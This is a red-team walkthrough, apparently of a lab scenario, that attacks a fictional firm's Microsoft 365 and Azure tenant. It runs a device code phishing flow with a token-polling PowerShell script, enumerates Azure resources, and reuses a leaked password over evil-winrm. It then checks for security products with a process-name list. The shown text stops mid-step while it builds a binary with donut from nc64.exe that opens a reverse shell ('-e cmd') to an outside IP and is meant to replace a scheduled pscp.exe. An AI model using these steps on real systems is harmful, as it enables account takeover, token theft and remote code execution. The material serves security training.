Leverage Device Code Phishing for Initial Access
Leverage Device Code Phishing for Initial Access
Scenario
Our client International Asset Management has asked us to perform a red team engagement. They want us to start externally as a threat actor would, try and breach their environment and access resources belonging to director or C-level executives. Phishing is in scope, and International Asset Management’s IT partners have also agreed to be included in the test.
Walkthrough
We are given domain, so let’s start with checking all DNS records that are associated with the domain
1
2
3
4
5
6
7
8
9
└─$ dig international-am.com any +noall +answer
international-am.com. 1800 IN A 20.75.112.13
international-am.com. 3600 IN NS ns29.domaincontrol.com.
international-am.com. 3600 IN NS ns30.domaincontrol.com.
international-am.com. 3600 IN SOA ns29.domaincontrol.com. dns.jomax.net. 2024102703 28800 7200 604800 600
international-am.com. 3600 IN MX 0 internationalam-com03c.mail.protection.outlook.com.
international-am.com. 3600 IN TXT "v=spf1 include:spf.protection.outlook.com -all"
international-am.com. 3600 IN TXT "_e5vsccc1uzkgivciwbepfxx8ij6c4qd"
We can do the same in Powershell
1
2
3
4
5
6
7
8
9
$domain = "international-am.com"
$records = @()
$records += Resolve-DnsName -Name $domain -Type A -ErrorAction SilentlyContinue
$records += Resolve-DnsName -Name $domain -Type AAAA -ErrorAction SilentlyContinue
$records += Resolve-DnsName -Name $domain -Type MX -ErrorAction SilentlyContinue
$records += Resolve-DnsName -Name $domain -Type TXT -ErrorAction SilentlyContinue
$records += Resolve-DnsName -Name $domain -Type NS -ErrorAction SilentlyContinue
$records += Resolve-DnsName -Name $domain -Type CNAME -ErrorAction SilentlyContinue
$records | Format-List
We receive hostname of the mail server for international-am.com
is internationalam-com03c.mail.protection.outlook.com
. This mail server is part of Microsoft’s Office 365 or Outlook mail protection service, which is indicated by the mail.protection.outlook.com
.
Let’s confirm that the company uses Microsoft 365 and Entra ID. We can use the GetUserRealm.srf
endpoint to determine whether international-am.com
is a managed (cloud-only) or federated domain. With a federated domain, user authentication is delegated to an external IdP, such as Active Directory Federation Services (ADFS).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
└─$ curl 'https://login.microsoftonline.com/getuserrealm.srf?login=international-am.com&xml=1' | xml_pp
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 429 100 429 0 0 233 0 0:00:01 0:00:01 --:--:-- 233
<RealmInfo Success="true">
<State>4</State>
<UserState>1</UserState>
<Login>international-am.com</Login>
<NameSpaceType>Managed</NameSpaceType>
<DomainName>international-am.com</DomainName>
<IsFederatedNS>false</IsFederatedNS>
<FederationBrandName>Default Directory</FederationBrandName>
<CloudInstanceName>microsoftonline.com</CloudInstanceName>
<CloudInstanceIssuerUri>urn:federation:MicrosoftOnline</CloudInstanceIssuerUri>
</RealmInfo>
NameSpaceType
is managed, which means that Entra ID is the identity provider. So we’ve established that International Asset Management use Entra ID and Microsoft 365. Do ?
Let’s check if they also use Azure resources by checking the website IP address from the DNS A host record. IP Info is a reliable source of IP data. Sending a request to https://ipinfo.io reveals that the IP address 20.75.112.13
is part of Microsoft-registered address space.
1
2
3
4
5
6
7
8
9
10
11
12
└─$ curl https://ipinfo.io/20.75.112.13
{
"ip": "20.75.112.13",
"city": "Boydton",
"region": "Virginia",
"country": "US",
"loc": "36.6676,-78.3875",
"org": "AS8075 Microsoft Corporation",
"postal": "23917",
"timezone": "America/New_York",
"readme": "https://ipinfo.io/missingauth"
}
We can also get the region using https://azservicetags.azurewebsites.net. This is a service provided to the community
and shouldn’t be brute-forced.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
└─$ curl --silent 'https://azservicetags.azurewebsites.net/api/iplookup?ipAddresses=20.75.112.13' | jq
[
{
"ipAddress": "20.75.112.13",
"isIPAddressValid": true,
"matchedServiceTags": [
{
"ipAddress": "20.75.112.13",
"cloudId": "Public",
"serviceTagId": "AzureCloud.eastus2",
"serviceTagRegion": "eastus2",
"addressPrefix": "20.75.0.0/17"
},
{
"ipAddress": "20.75.112.13",
"cloudId": "Public",
"serviceTagId": "AzureCloud",
"serviceTagRegion": "",
"addressPrefix": "20.75.0.0/17"
}
]
}
]
Let’s check the website https://international-am.com/ in a browser
There’s a client login page, which returns support@international-am.com
support contact when we enter incorrect credentials
Since the phishing is in scope, this could be useful. Seeing as this is a support account, it probably has some privileges that can be helpful. Let’s send a phishing email to this mailbox.
Let’s try device code phishing. It leverages the Entra ID device code authentication flow, which is a way of logging in on input-constrained devices, allowing the user to input a user code on second device and complete authentication, to approve the login session on the first device.
- A user starts an app that supports device code flow on an device.
- The app connects to the Entra ID
/devicecode
endpoint and submits aclient_id
andresource
. - Entra ID returns a
device_code
,user_code
, andverification_url
. - The device displays the
verification_url
(https://microsoft.com/devicelogin) along with theuser_code
for the user. - The user navigates to the
verification_url
in a web browser, enters theuser_code
as prompted, and logs in. - The device continuously queries Entra ID and, once the login is verified as successful, it receives an
access_token
and arefresh_token
.
The process can be seen in the diagram below. Read more about the attack from here: Introducing a new phishing technique for compromising Office 365 account
First, let’s complete steps 2 and 3 of the authentication flow. We see the default user code expiry time of 900
seconds (15 minutes). We specify the well-known Microsoft Office application ID as the client ID, to help make the request seem more legitimate (we can choose any application ID). A list of common Microsoft application IDs is available here.
1
2
3
4
└─PS> $body=@{
>> "client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
>> "resource" = "https://graph.microsoft.com"
>> }
1
└─PS> $authResponse=(Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" -Body $body)
1
2
3
4
5
6
7
8
└─PS> $authResponse
user_code : NMZJQAUF9
device_code : NAQABIQEAAABVrSpeuWamRam2jAF1XRQE09ndKVv49gk6jy3CqsuWeI1_QmYA6xXlaj_oohySLh1yuqREoxbKZ893aWC0ubNDRt6JzQlD4B02hPEkbIa-d7tvRnvN_EUBmjc9eDlN_TvvSrB-FLnQj7W9r-Xw7_TVZhmqhsJABLLn8rsMZk-8V38-I16FqkbdAIY8tZSRGBUgAA
verification_url : https://microsoft.com/devicelogin
expires_in : 900
interval : 5
message : To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code NMZJQAUF9 to authenticate.
Now create a script that continuously queries the token endpoint and polls for authentication status. On successful authentication the script will print our the access token (although a more valuable refresh token is also stored in the variable).
Make sure to hit enter after pasting this into your terminal, so the last line that prints the access token also executes.
The resource
in the PowerShell is set to https://graph.microsoft.com, which is the Microsoft Graph API endpoint that allows us to interact with Entra ID and Microsoft 365. If we instead wanted to target Azure and get Azure Resource Manager tokens we could instead set the resource value to the Azure https://management.azure.com/ or https://management.core.windows.net/ API endpoints. Either way, it also returns the refresh token, allowing us to create bearer tokens for other services we may wish to access.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
$response = ""
$continue = $true
$interval = $authResponse.interval
$expires = $authResponse.expires_in
$body=@{
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
"code" = $authResponse.device_code
"resource" = "https://graph.microsoft.com"
}
while($continue)
{
Start-Sleep -Seconds $interval
$total += $interval
if($total -gt $expires)
{
Write-Error "Timeout occurred"
return
}
try
{
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0 " -Body $body -ErrorAction SilentlyContinue
}
catch
{
$details=$_.ErrorDetails.Message | ConvertFrom-Json
$continue = $details.error -eq "authorization_pending"
Write-Host $details.error
if(!$continue)
{
Write-Error $details.error_description
return
}
}
if($response)
{
break
}
}
$response.access_token
Now we need to send our phishing email. We can send any phishing pretext. The pretext below makes it seem that the device code login request comes from an authoritative and trusted source (International Asset Management IT) and it also conveys a sense of urgency and threat, compelling the user to take immediate action to avoid losing access.
After few minutes, we see access token
We can copy the token to https://jwt.io. We see that the display name name of the phished user is International Asset Management (Mega Big Tech MSSP Support)
. We got a foodhold in the cloud environment, but we have phished the MSSP (Managed Security Service Provider) used by International Asset Management.
Now use access token to get authenticated session using the Microsoft Graph PowerShell SDK.
1
2
3
4
5
6
7
8
9
└─PS> Connect-MgGraph -AccessToken ($access_token | ConvertTo-SecureString -AsPlainText -Force)
Welcome to Microsoft Graph!
Connected via userprovidedaccesstoken access using d3590ed6-52b3-4102-aeff-aad2292ab01c
Readme: https://aka.ms/graph/sdk/powershell
SDK Docs: https://aka.ms/graph/sdk/powershell/docs
API Docs: https://aka.ms/graph/docs
NOTE: You can use the -NoWelcome parameter to suppress this message.
Let’s confirm our execution context.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
└─PS> Get-MgContext
ClientId : d3590ed6-52b3-4102-aeff-aad2292ab01c
TenantId : 2590ccef-687d-493b-ae8d-441cbab63a72
Scopes : {AuditLog.Create, Calendar.ReadWrite, Calendars.Read.Shared, Calendars.ReadWrite…}
AuthType : UserProvidedAccessToken
TokenCredentialType : UserProvidedAccessToken
CertificateThumbprint :
CertificateSubjectName :
SendCertificateChain : False
Account : support@international-am.com
AppName : Microsoft Office
ContextScope : Process
Certificate :
PSHostVersion : 7.5.1
ManagedIdentityId :
ClientSecret :
Environment : Global
Now we can enumerate Entra ID and Microsoft 365, which use Microsoft Graph. We could also alternatively set the resource / API endpoint in the phishing script to the Azure Service Management API https://management.azure.com, send a new phishing email, and enumerate Azure resources instead.
However, it is also worth showing how to initiate a device code flow using the Azure CLI. Instead of running the PowerShell script above to generate the user code and retrieve the token, we’ll now show this with the Azure CLI.
This will also output a user code that we can include in our phishing email.
Send phishing email by using output of the Azure CLI command below. After a while have an authenticated Azure CLI session. The Azure CLI handles both generating the device code and waiting for the authentication, so we don’t need to run two separate commands / scripts this time.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
└─PS> az login --use-device-code
To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DWMWD46QE to authenticate.
Retrieving tenants and subscriptions for the selection...
[Tenant and subscription selection]
No Subscription name Subscription ID Tenant
----- --------------------------- ------------------------------------ -----------------
[1] * Microsoft Azure Sponsorship ceff06cb-e29d-4486-a3ae-eaaec5689f94 Default Directory
The default is marked with an *; the default tenant is 'Default Directory' and subscription is 'Microsoft Azure Sponsorship' (ceff06cb-e29d-4486-a3ae-eaaec5689f94).
Select a subscription and tenant (Type a number or Enter for no changes): 1
Tenant: Default Directory
Subscription: Microsoft Azure Sponsorship (ceff06cb-e29d-4486-a3ae-eaaec5689f94)
[Announcements]
With the new Azure CLI login experience, you can select the subscription you want to use more easily. Learn more about it and its configuration at https://go.microsoft.com/fwlink/?linkid=2271236
If you encounter any problem, please open an issue at https://aka.ms/azclibug
[Warning] The login output has been updated. Please be aware that it no longer displays the full list of available subscriptions by default.
When using the Azure CLI on Linux and Mac, the access and refresh tokens are exposed and stored unencrypted in the file ~/.azure/msal_token_cache.json
. On Windows, the tokens are encrypted using the Data Protection API (DPAPI).
Running az account show
confirms our execution context.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
└─PS> az account show
{
"environmentName": "AzureCloud",
"homeTenantId": "2590ccef-687d-493b-ae8d-441cbab63a72",
"id": "ceff06cb-e29d-4486-a3ae-eaaec5689f94",
"isDefault": true,
"managedByTenants": [],
"name": "Microsoft Azure Sponsorship",
"state": "Enabled",
"tenantDefaultDomain": "megabigtech.com",
"tenantDisplayName": "Default Directory",
"tenantId": "2590ccef-687d-493b-ae8d-441cbab63a72",
"user": {
"name": "support@international-am.com",
"type": "user"
}
}
Let’s enumerate available resources
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
└─PS> az resource list
[
{
"changedTime": "2024-10-25T17:14:30.767020+00:00",
"createdTime": "2024-10-25T17:04:29.778163+00:00",
"extendedLocation": null,
"id": "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-22/providers/Microsoft.Web/staticSites/InternationalAssetManager",
"identity": null,
"kind": null,
"location": "eastus2",
"managedBy": null,
"name": "InternationalAssetManager",
"plan": null,
"properties": null,
"provisioningState": "Succeeded",
"resourceGroup": "mbt-rg-22",
"sku": {
"capacity": null,
"family": null,
"model": null,
"name": "Free",
"size": null,
"tier": "Free"
},
"tags": {},
"type": "Microsoft.Web/staticSites"
},
{
"changedTime": "2024-11-01T23:36:00.398299+00:00",
"createdTime": "2024-11-01T23:25:55.987539+00:00",
"extendedLocation": null,
"id": "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-22/providers/Microsoft.Network/publicIPAddresses/SECURITY-DIRECTOR-ip",
"identity": null,
"kind": null,
"location": "eastus",
"managedBy": null,
"name": "SECURITY-DIRECTOR-ip",
"plan": null,
"properties": null,
"provisioningState": "Succeeded",
"resourceGroup": "mbt-rg-22",
"sku": {
"capacity": null,
"family": null,
"model": null,
"name": "Standard",
"size": null,
"tier": null
},
"tags": null,
"type": "Microsoft.Network/publicIPAddresses",
"zones": [
"1"
]
},
{
"changedTime": "2024-12-08T23:17:29.883722+00:00",
"createdTime": "2024-12-08T22:48:01.631022+00:00",
"extendedLocation": null,
"id": "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-22/providers/Microsoft.Compute/virtualMachines/SECURITY-DIRECTOR",
"identity": null,
"kind": null,
"location": "eastus",
"managedBy": null,
"name": "SECURITY-DIRECTOR",
"plan": null,
"properties": null,
"provisioningState": "Succeeded",
"resourceGroup": "mbt-rg-22",
"sku": null,
"tags": {
"Company": "International Asset Management"
},
"type": "Microsoft.Compute/virtualMachines",
"zones": [
"1"
]
},
{
"changedTime": "2024-12-08T22:58:00.408145+00:00",
"createdTime": "2024-12-08T22:47:56.006782+00:00",
"extendedLocation": null,
"id": "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-22/providers/Microsoft.Network/publicIPAddresses/SECURITYDIRECTORip304",
"identity": null,
"kind": null,
"location": "eastus",
"managedBy": null,
"name": "SECURITYDIRECTORip304",
"plan": null,
"properties": null,
"provisioningState": "Succeeded",
"resourceGroup": "mbt-rg-22",
"sku": {
"capacity": null,
"family": null,
"model": null,
"name": "Standard",
"size": null,
"tier": null
},
"tags": null,
"type": "Microsoft.Network/publicIPAddresses",
"zones": [
"1"
]
}
]
A summary of the JSON output:
- There is an Azure Static Web App named
InternationalAssetManager
hosted in the resource groupmbt-rg-22
. - There is an Azure Virtual Machine named
SECURITY-DIRECTOR
that is tagged withCompany: International Asset Management
, and we also have access to the public IP address resource.
Let’s check Azure Static Web App
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
└─PS> az staticwebapp show --name InternationalAssetManager --resource-group mbt-rg-22
{
"allowConfigFileUpdates": true,
"branch": null,
"buildProperties": null,
"contentDistributionEndpoint": "https://content-eus2.infrastructure.5.azurestaticapps.net",
"customDomains": [
"international-am.com"
],
"databaseConnections": [],
"defaultHostname": "thankful-desert-07de31b0f.5.azurestaticapps.net",
"enterpriseGradeCdnStatus": "Disabled",
"id": "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-22/providers/Microsoft.Web/staticSites/InternationalAssetManager",
"identity": null,
"keyVaultReferenceIdentity": "SystemAssigned",
"kind": null,
"linkedBackends": [],
"location": "East US 2",
"name": "InternationalAssetManager",
"privateEndpointConnections": [],
"provider": "SwaCli",
"publicNetworkAccess": null,
"repositoryToken": null,
"repositoryUrl": null,
"resourceGroup": "mbt-rg-22",
"sku": {
"capabilities": null,
"capacity": null,
"family": null,
"locations": null,
"name": "Free",
"size": null,
"skuCapacity": null,
"tier": "Free"
},
"stagingEnvironmentPolicy": "Enabled",
"tags": {},
"templateProperties": null,
"type": "Microsoft.Web/staticSites",
"userProvidedFunctionApps": null
}
We see the custom domain international-am.com
, so this resource is hosting the website we saw earlier. Let’s check out the Azure Static Web App settings.
1
2
3
4
5
6
7
8
9
10
11
12
13
└─PS> az staticwebapp appsettings list --name InternationalAssetManager --resource-group mbt-rg-22
{
"id": "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-22/providers/Microsoft.Web/staticSites/InternationalAssetManager/config/appsettings",
"kind": null,
"location": "East US 2",
"name": "appsettings",
"properties": {
"APP_VERSION": "2.1.1",
"DATABASE_CONNECTION_STRING": "Server=tcp:iamclientportal.database.windows.net,1433;Initial Catalog=users;Persist Security Info=False;User ID=admin;Password=<REDACTED>;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;"
},
"resourceGroup": "mbt-rg-22",
"type": "Microsoft.Web/staticSites/config"
}
We see two environment variables have been defined:
- App version
- Database connection string that contains credentials:
admin:<REDACTED>
But we can’t resolve the DNS entry
1
2
3
4
5
6
└─$ nslookup iamclientportal.database.windows.net
Server: 192.168.226.2
Address: 192.168.226.2#53
** server can't find iamclientportal.database.windows.net: NXDOMAIN
Let’s check VM
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
└─PS> az vm show --resource-group mbt-rg-22 --name SECURITY-DIRECTOR
{
"additionalCapabilities": {
"hibernationEnabled": false,
"ultraSsdEnabled": null
},
"applicationProfile": null,
"availabilitySet": null,
"billingProfile": null,
"capacityReservation": null,
"diagnosticsProfile": {
"bootDiagnostics": {
"enabled": true,
"storageUri": null
}
},
"etag": "\"5804\"",
"evictionPolicy": null,
"extendedLocation": null,
"extensionsTimeBudget": null,
"hardwareProfile": {
"vmSize": "Standard_B2s",
"vmSizeProperties": null
},
"host": null,
"hostGroup": null,
"id": "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-22/providers/Microsoft.Compute/virtualMachines/SECURITY-DIRECTOR",
"identity": null,
"instanceView": null,
"licenseType": "Windows_Server",
"location": "eastus",
"managedBy": null,
"name": "SECURITY-DIRECTOR",
"networkProfile": {
"networkApiVersion": null,
"networkInterfaceConfigurations": null,
"networkInterfaces": [
{
"deleteOption": "Detach",
"id": "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-22/providers/Microsoft.Network/networkInterfaces/security-director23_z1",
"primary": null,
"resourceGroup": "mbt-rg-22"
}
]
},
"osProfile": null,
"placement": null,
"plan": null,
"platformFaultDomain": null,
"priority": null,
"provisioningState": "Succeeded",
"proximityPlacementGroup": null,
"resourceGroup": "mbt-rg-22",
"resources": null,
"scheduledEventsPolicy": null,
"scheduledEventsProfile": null,
"securityProfile": null,
"storageProfile": {
"alignRegionalDisksToVmZone": null,
"dataDisks": [],
"diskControllerType": "SCSI",
"imageReference": null,
"osDisk": {
"caching": "ReadWrite",
"createOption": "Attach",
"deleteOption": "Detach",
"diffDiskSettings": null,
"diskSizeGb": 127,
"encryptionSettings": null,
"image": null,
"managedDisk": {
"diskEncryptionSet": null,
"id": "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-22/providers/Microsoft.Compute/disks/SECURITY-DIRECTOR",
"resourceGroup": "mbt-rg-22",
"securityProfile": null,
"storageAccountType": "StandardSSD_LRS"
},
"name": "SECURITY-DIRECTOR",
"osType": "Windows",
"vhd": null,
"writeAcceleratorEnabled": null
}
},
"tags": {
"Company": "International Asset Management"
},
"timeCreated": "2024-12-08T22:48:01.681267+00:00",
"type": "Microsoft.Compute/virtualMachines",
"userData": null,
"virtualMachineScaleSet": null,
"vmId": "53420129-b4dc-460c-bb02-071b0208c6b9",
"zones": [
"1"
]
}
It’s worth checking if VM has User Data defined. User Data allows admins to make information available to applications that may be running in a VM or even to run a configuration script on the VM.
1
2
└─PS> az vm show --resource-group "mbt-rg-22" --name "SECURITY-DIRECTOR" -u --query "userData" --output tsv | base64 -d
net user remoteassist /active:yes
We could also make direct API call by using the access token
1
2
$token="<access_token_value>"
Invoke-RestMethod -Method GET -Uri "https://management.azure.com/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-22/providers/Microsoft.Compute/virtualMachines/SECURITY-DIRECTOR?api-version=2021-07-01&`$expand=userData" -Headers @{Authorization = "Bearer $token"}
We see that support or the admins have defined user data to enable the remoteassist
local account on the VM every time it boots.
Let’s get the public IP address of the VM.
1
2
└─PS> az network public-ip show --resource-group mbt-rg-22 --name SECURITYDIRECTORip304 --query "ipAddress" --output tsv
20.127.161.82
Now let’s perform port scan
1
2
3
4
5
6
7
8
9
└─$ nmap -Pn --top-ports 1000 20.127.161.82
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-14 20:27 +06
Nmap scan report for 20.127.161.82
Host is up (0.25s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
53/tcp open domain
3389/tcp open ms-wbt-server
5985/tcp open wsman
We see ports 53 (DNS), 3389 (RDP) and 5985 (Windows Remote Management) are available. We can try and connect to the instance over port 5985 as the support user, and try the password that we found in the Web App. And we got a foothold on the SECURITY-DIRECTOR
VM
1
2
3
4
5
6
7
8
9
10
└─$ evil-winrm -i 20.127.161.82 -u remoteassist -p '<REDACTED>'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\remoteassist\Documents>
It seems that the local user doesn’t have the privileges
1
2
3
4
5
6
7
8
9
*Evil-WinRM* PS C:\Users\remoteassist\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
We see other user named james_local
1
2
3
4
5
6
7
8
*Evil-WinRM* PS C:\Users\remoteassist\Documents> net users
User accounts for \\
-------------------------------------------------------------------------------
AdministratorAccount DefaultAccount Guest
james_local remoteassist WDAGUtilityAccount
The command completed with one or more errors.
james_local
is a security director
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
*Evil-WinRM* PS C:\Users\remoteassist\Documents> net user james_local
User name james_local
Full Name James Brandt (Security Director)
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 11/2/2024 1:05:30 AM
Password expires Never
Password changeable 11/2/2024 1:05:30 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 8/15/2025 9:43:55 PM
Logon hours allowed All
Local Group Memberships *Remote Desktop Users *Users
Global Group memberships *None
The command completed successfully.
We see non-standard DownloadSecurityReports
directory in the C:\
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
*Evil-WinRM* PS C:\> ls
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/14/2025 2:26 PM DownloadSecurityReports
d----- 1/8/2025 6:59 PM Logs
d----- 10/29/2024 10:59 PM Packages
d----- 5/8/2021 8:20 AM PerfLogs
d----- 10/31/2024 12:26 AM Program Files
d----- 10/31/2024 1:35 AM Program Files (x86)
d----- 8/13/2025 6:23 AM Temp
d-r--- 11/2/2024 11:27 PM Users
d-r--- 10/30/2024 3:36 PM Windows
d----- 2/24/2025 5:08 PM WindowsAzure
We see the binary pcsp.exe
, a command line tool for transferring files to and from Windows using the SSH protocol (Windows version of scp). However, it’s actually worth noting that current versions of Windows (including the target) actually have both ssh and scp clients installed by default.
We could guess that the file M365BaselineConformance.zip
is being transferred using pscp.exe
. Checking the timestamp of the zip file, the time is within the last 5 minutes, so possibly there is a scheduled task running that is executing it.
1
2
3
4
5
6
7
8
9
10
*Evil-WinRM* PS C:\DownloadSecurityReports> ls
Directory: C:\DownloadSecurityReports
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/14/2025 2:36 PM 430236 M365BaselineConformance.zip
-a---- 10/30/2024 9:17 PM 997136 pscp.exe
From a security perspective, this scheduled task is running in the context of James or administrator local users, and if we can replace the binary with our own malicious version, we could get command execution in the context of that user.
The permissions show that the Authenticated Users group has permissions to (M)odify the file (Create+Delete+Read+Write). This includes our remoteassist user account.
1
2
3
4
5
6
7
8
*Evil-WinRM* PS C:\DownloadSecurityReports> icacls pscp.exe
pscp.exe NT AUTHORITY\Authenticated Users:(I)(M)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
Successfully processed 1 files; Failed processing 0 files
Let’s first download the archive
1
2
3
4
5
*Evil-WinRM* PS C:\DownloadSecurityReports> download M365BaselineConformance.zip
Info: Downloading C:\DownloadSecurityReports\M365BaselineConformance.zip to M365BaselineConformance.zip
Info: Download successful!
We see a SCuBA report for the Mega Big Tech M365 and Entra ID environment. ScubaGear is an assessment tool created by CISA, that verifies that a Microsoft 365 tenant’s configuration conforms to the policies described in the Secure Cloud Business Applications (SCuBA) Security Configuration Baseline documents
Before planting our binary, let’s check if anti-virus is running on the endpoint. We can use a simple PowerShell one-liner to check this.
1
$processes = @{ "acnamagent" = "Absolute Persistence - Asset Management"; "acnamlogonagent" = "Absolute Persistence - Asset Management"; "AGMService" = "Adobe - Telemetry"; "AGSService" = "Adobe - Telemetry"; "aswidsagent" = "Avast - AV"; "avastsvc" = "Avast - AV"; "avastui" = "Avast - AV"; "avgnt" = "Avira - AV"; "avguard" = "Avira - AV"; "axcrypt" = "AxCrypt - Encryption"; "bdntwrk" = "Bitdefender - AV"; "updatesrv" = "Bitdefender - AV"; "bdagent" = "Bitdefender Total Security - AV"; "vsserv" = "Bitdefender Total Security - AV"; "cpd" = "Check Point Daemon - Security"; "fw" = "Check Point Firewall - Firewall"; "vpnagent" = "Cisco AnyConnect - VPN"; "vpnui" = "Cisco AnyConnect - VPN"; "aciseagent" = "Cisco Umbrella - Security DNS"; "acumbrellaagent" = "Cisco Umbrella - Security DNS"; "CmRcService" = "CmRcService - Remote Control"; "csfalconcontainer" = "CrowdStrike Falcon - EDR"; "csfalcondaterepair" = "CrowdStrike Falcon - EDR"; "csfalconservice" = "CrowdStrike Falcon - EDR"; "cbcomms" = "CrowdStrike Falcon Insight XDR"; "cybereason" = "Cybereason EDR"; "cytomicendpoint" = "Cytomic Orion - Security"; "DarktraceTSA" = "Darktrace - EDR"; "dsmonitor" = "DriveSentry - Security"; "dwengine" = "DriveSentry - Security"; "egui" = "ESET NOD32 AV"; "ekrn" = "ESET NOD32 AV"; "winlogbeat" = "Elastic Winlogbeat - Security"; "firesvc" = "FireEye Endpoint Agent - Security"; "firetray" = "FireEye Endpoint Agent - Security"; "xagt" = "FireEye HX - Security"; "fortiedr" = "FortiEDR - EDR"; "hips" = "Host Intrusion Prevention System - HIPS"; "avp" = "Kaspersky - AV"; "avpui" = "Kaspersky - AV"; "klwtblfs" = "Kaspersky - AV"; "klwtpwrs" = "Kaspersky - AV"; "ksde" = "Kaspersky Secure Connection - VPN"; "ksdeui" = "Kaspersky Secure Connection - VPN"; "kpf4ss" = "Kerio Personal Firewall - Firewall"; "mbae64" = "Malwarebytes - AV"; "mbamservice" = "Malwarebytes - AV"; "mbamswissarmy" = "Malwarebytes - AV"; "mbamtray" = "Malwarebytes - AV"; "mfeann" = "McAfee - AV"; "mfemms" = "McAfee - AV"; "masvc" = "McAfee - AV"; "macmnsvc" = "McAfee - AV"; "dlpsensor" = "McAfee DLP Sensor - DLP"; "eegoservice" = "McAfee Endpoint Encryption - Encryption"; "mdecryptservice" = "McAfee Endpoint Encryption - Encryption"; "mfeepehost" = "McAfee Endpoint Encryption - Encryption"; "edpa" = "McAfee Endpoint Security - AV"; "shstat" = "McAfee Endpoint Security - AV"; "mcshield" = "McAfee Endpoint Security - AV"; "mfefire" = "McAfee Endpoint Security - Firewall"; "msascuil" = "Windows Defender - AV"; "msmpeng" = "Windows Defender - AV"; "windefend" = "Windows Defender - AV"; "SecurityHealthService" = "Windows Security Health Service"; "tanclient" = "Tanium EDR - EDR" }; foreach ($key in $processes.Keys) { $description = $processes[$key]; if (![string]::IsNullOrWhiteSpace($key)) { $process = Get-Process -Name $key -ErrorAction SilentlyContinue; if ($process) { Write-Output "$description is running." } } }
No output, seems like there’s no anti-virus running.
We can use any C2 during real engagements (sliver, havoc etc.). In this case we work with netcat
. Deploy listener on EC2 (or Azure VM)
1
2
root@ip-172-31-21-144:/home/ubuntu# nc -lvnp 443
Listening on 0.0.0.0 443
Create a binary. In this case, we used donut to create a shellcode from nc64.exe
with parameters
1
└─$ ~/tools/red-team/c2-toolkit/donut -i ~/tools/red-team/c2-toolkit/nc64.exe -p '54.227.84.188 443 -e cmd' -o pscp.bin
Now we can create a executable/loader from shellcode using myph
1
└─$ myph --shellcode pscp.bin --out pscp
Now upload the binary
1
2
3
4
5
6
7
8
